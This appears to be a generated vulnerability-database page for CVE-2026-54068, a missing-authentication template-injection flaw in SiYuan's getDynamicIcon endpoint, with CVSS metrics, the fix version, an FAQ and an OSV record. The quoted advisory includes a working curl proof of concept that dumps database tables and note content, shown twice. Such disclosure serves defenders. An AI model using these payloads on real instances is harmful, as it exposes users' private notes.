CVE-2026-54068: SiYuan Unauthenticated SQLite Data Exfiltration Vulnerability

MODERATE
Advisory Identifier: GHSA-gcm7-57gf-953c
CVSS 5.9
CWE-306
Published
Advisory Summary

CVE-2026-54068 is a MODERATE (CVSS 5.9) unauthenticated sqlite data exfiltration vulnerability (CWE-306: Missing Authentication for Critical Function) affecting SiYuan libraries in the Go ecosystem. The issue involves unauthenticated sqlite data exfiltration via template injection in /api/icon/getdynamicicon. Remediation is available by upgrading affected packages to version 0.0.0-20260628153353-2d5d72223df4.

CVE-2026-54068 at a Glance

CVE Identifier CVE-2026-54068
GHSA Identifier GHSA-gcm7-57gf-953c
Severity MODERATE
CVSS v3.1 Base Score 5.9
CWE Classification CWE-306: Missing Authentication for Critical Function
Affected Product SiYuan
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-54068

To remediate this vulnerability, upgrade all affected SiYuan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/siyuan-note/siyuan/kernel fixed: 0.0.0-20260628153353-2d5d72223df4
Upgrade github.com/siyuan-note/siyuan/kernel to 0.0.0-20260628153353-2d5d72223df4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54068, inspect your project dependencies for SiYuan:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

Analyze the terminal output to locate any version of SiYuan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260628153353-2d5d72223df4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In SiYuan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `/api/icon/getDynamicIcon` endpoint is explicitly excluded from authentication in SiYuan's kernel router (`router.go`, "不需要鉴权" -- no auth needed). When called with `type=8` and a valid block `id` parameter, this endpoint invokes `RenderDynamicIconContentTemplate`, which executes a Go template that includes the `querySQL` and `queryBlocks` functions. These functions run arbitrary SELECT statements against the SiYuan SQLite database. An unauthenticated network-adjacent attacker who knows a valid block ID can exfiltrate all user note content, tags, asset references, and block attributes from the database. ### Details **Root cause -- kernel/api/router.go, line 37:** ```go // 不需要鉴权 ginServer.Handle("GET", "/api/icon/getDynamicIcon", getDynamicIcon) ``` **Attack chain:** 1. `getDynamicIcon` (kernel/api/icon.go) checks `type=8` and calls `model.RenderDynamicIconContentTemplate(content, id)` when `content` contains `.action{`. 2. `RenderDynamicIconContentTemplate` (kernel/model/template.go:264) parses `content` as a Go template. The template function map includes `querySQL` and `queryBlocks` registered via `sql.SQLTemplateFuncs`. 3. `querySQL` calls `Query(stmt, 1024)` (kernel/sql/block_query.go) which executes the SQL statement against the SQLite database containing all user notes. 4. The SQL result is rendered into the SVG response body and returned to the unauthenticated caller. **Constraint:** The block `id` parameter must be a valid block ID that exists in the database. Block IDs are 22-character strings in the format `YYYYMMDDHHMMSS-XXXXXXX` (timestamp + 7 alphanumeric chars). Valid IDs are embedded in shared document URLs and can be leaked through any other authenticated endpoint, referrer headers, or browser history. **Tested on SiYuan v3.6.5 (Docker, network-serving mode, access auth code enabled):** ``` GET /api/icon/getDynamicIcon?type=8&content=.action{querySQL+"SELECT+id,content+FROM+blocks+LIMIT+5"}&id=<KNOWN_BLOCK_ID> Host: siyuan.example.com (No Authorization header) ``` Response (SVG with exfiltrated data embedded): ```xml <text ...>[map[id:20260524010447-jc9ypd4 content:test] map[id:20260524011002-ttaa7lu content:My password is SuperSecret123!]]</text> ``` The `querySQL` template function can query any table: `blocks` (all note content and metadata), `spans` (tags), `assets` (asset references), `attributes` (block attributes), and `refs` (backlinks). ### PoC ```bash TARGET="http://siyuan.example.com:6806" BLOCK_ID="KNOWN_BLOCK_ID_HERE" # From a shared link or other source # List all database tables curl -s "${TARGET}/api/icon/getDynamicIcon?type=8&content=.action%7BquerySQL+%22SELECT+name+FROM+sqlite_master+WHERE+type%3D%27table%27%22%7D&id=${BLOCK_ID}" # Dump all note content curl -s "${TARGET}/api/icon/getDynamicIcon?type=8&content=.action%7BquerySQL+%22SELECT+id%2Ctype%2Ccontent+FROM+blocks+LIMIT+100%22%7D&id=${BLOCK_ID}" ``` **PoC script:** `/home/mrrobot/GoogleDrive/vuln-research/siyuan/scripts/poc_getDynamicIcon_sqli.sh` ### Impact Any network-reachable SiYuan instance (Docker deployments default to `0.0.0.0:6806`) is vulnerable to complete note content exfiltration without authentication, provided the attacker can obtain one valid block ID. Block IDs are leaked in shared document URLs, embedded images referencing block IDs, and browser history. In a networked deployment scenario (e.g., a self-hosted SiYuan accessible from the internet), all personal notes, tags, and metadata are exposed to unauthenticated attackers. This vulnerability is distinct from previously reported SQL injection issues (GHSA-j7wh-x834-p3r7) which targeted the search API. The `getDynamicIcon` endpoint was never intended to execute SQL queries but gained this capability through the `querySQL` template function registered for the icon content template renderer.

CVE-2026-54068 Affected SiYuan Versions

1 component(s)
Fixed Versions:
0.0.0-20260628153353-2d5d72223df4
Product / Package Ecosystem Affected Versions Fixed Version
github.com/siyuan-note/siyuan/kernel
Go
< 0.0.0-20260628153353-2d5d72223df4
0.0.0-20260628153353-2d5d72223df4

References

Frequently Asked Questions

What is CVE-2026-54068?
CVE-2026-54068 is a security vulnerability in SiYuan involving Unauthenticated SQLite Data Exfiltration via Template Injection in /api/icon/getDynamicIcon under CWE-306: Missing Authentication for Critical Function.
Which SiYuan versions are affected?
Affected versions include releases prior to 0.0.0-20260628153353-2d5d72223df4 across affected packages: github.com/siyuan-note/siyuan/kernel.
What version fixes CVE-2026-54068?
Upgrading to 0.0.0-20260628153353-2d5d72223df4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/siyuan-note/siyuan/kernel affected?
Yes, github.com/siyuan-note/siyuan/kernel is affected in releases prior to 0.0.0-20260628153353-2d5d72223df4. Upgrade your dependency to 0.0.0-20260628153353-2d5d72223df4 or later.
What is the CVSS score of CVE-2026-54068?
CVE-2026-54068 has a CVSS v3.1 base score of 5.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-54068?
CVE-2026-54068 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check Go dependencies for CVE-2026-54068?
Run the dependency tree command: 'inspect dependencies for github.com/siyuan-note/siyuan/kernel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gcm7-57gf-953c",
  "modified" : "2026-07-10T19:26:00Z",
  "published" : "2026-07-10T19:26:00Z",
  "aliases" : [ "CVE-2026-54068" ],
  "summary" : "SiYuan: Unauthenticated SQLite Data Exfiltration via Template Injection in /api/icon/getDynamicIcon",
  "details" : "### Summary\n\nThe `/api/icon/getDynamicIcon` endpoint is explicitly excluded from authentication in SiYuan's kernel router (`router.go`, \"不需要鉴权\" -- no auth needed). When called with `type=8` and a valid block `id` parameter, this endpoint invokes `RenderDynamicIconContentTemplate`, which executes a Go template that includes the `querySQL` and `queryBlocks` functions. These functions run arbitrary SELECT statements against the SiYuan SQLite database. An unauthenticated network-adjacent attacker who knows a valid block ID can exfiltrate all user note content, tags, asset references, and block attributes from the database.\n\n### Details\n\n**Root cause -- kernel/api/router.go, line 37:**\n\n```go\n// 不需要鉴权\nginServer.Handle(\"GET\", \"/api/icon/getDynamicIcon\", getDynamicIcon)\n```\n\n**Attack chain:**\n\n1. `getDynamicIcon` (kernel/api/icon.go) checks `type=8` and calls `model.RenderDynamicIconContentTemplate(content, id)` when `content` contains `.action{`.\n\n2. `RenderDynamicIconContentTemplate` (kernel/model/template.go:264) parses `content` as a Go template. The template function map includes `querySQL` and `queryBlocks` registered via `sql.SQLTemplateFuncs`.\n\n3. `querySQL` calls `Query(stmt, 1024)` (kernel/sql/block_query.go) which executes the SQL statement against the SQLite database containing all user notes.\n\n4. The SQL result is rendered into the SVG response body and returned to the unauthenticated caller.\n\n**Constraint:** The block `id` parameter must be a valid block ID that exists in the database. Block IDs are 22-character strings in the format `YYYYMMDDHHMMSS-XXXXXXX` (timestamp + 7 alphanumeric chars). Valid IDs are embedded in shared document URLs and can be leaked through any other authenticated endpoint, referrer headers, or browser history.\n\n**Tested on SiYuan v3.6.5 (Docker, network-serving mode, access auth code enabled):**\n\n```\nGET /api/icon/getDynamicIcon?type=8&content=.action{querySQL+\"SELECT+id,content+FROM+blocks+LIMIT+5\"}&id=<KNOWN_BLOCK_ID>\nHost: siyuan.example.com\n(No Authorization header)\n```\n\nResponse (SVG with exfiltrated data embedded):\n```xml\n<text ...>[map[id:20260524010447-jc9ypd4 content:test]\n           map[id:20260524011002-ttaa7lu content:My password is SuperSecret123!]]</text>\n```\n\nThe `querySQL` template function can query any table: `blocks` (all note content and metadata), `spans` (tags), `assets` (asset references), `attributes` (block attributes), and `refs` (backlinks).\n\n### PoC\n\n```bash\nTARGET=\"http://siyuan.example.com:6806\"\nBLOCK_ID=\"KNOWN_BLOCK_ID_HERE\"  # From a shared link or other source\n\n# List all database tables\ncurl -s \"${TARGET}/api/icon/getDynamicIcon?type=8&content=.action%7BquerySQL+%22SELECT+name+FROM+sqlite_master+WHERE+type%3D%27table%27%22%7D&id=${BLOCK_ID}\"\n\n# Dump all note content\ncurl -s \"${TARGET}/api/icon/getDynamicIcon?type=8&content=.action%7BquerySQL+%22SELECT+id%2Ctype%2Ccontent+FROM+blocks+LIMIT+100%22%7D&id=${BLOCK_ID}\"\n```\n\n**PoC script:** `/home/mrrobot/GoogleDrive/vuln-research/siyuan/scripts/poc_getDynamicIcon_sqli.sh`\n\n### Impact\n\nAny network-reachable SiYuan instance (Docker deployments default to `0.0.0.0:6806`) is vulnerable to complete note content exfiltration without authentication, provided the attacker can obtain one valid block ID. Block IDs are leaked in shared document URLs, embedded images referencing block IDs, and browser history. In a networked deployment scenario (e.g., a self-hosted SiYuan accessible from the internet), all personal notes, tags, and metadata are exposed to unauthenticated attackers.\n\nThis vulnerability is distinct from previously reported SQL injection issues (GHSA-j7wh-x834-p3r7) which targeted the search API. The `getDynamicIcon` endpoint was never intended to execute SQL queries but gained this capability through the `querySQL` template function registered for the icon content template renderer.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260628153353-2d5d72223df4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gcm7-57gf-953c"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54068"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-10T19:26:00Z",
    "nvd_published_at" : "2026-06-24T22:16:48Z"
  }
}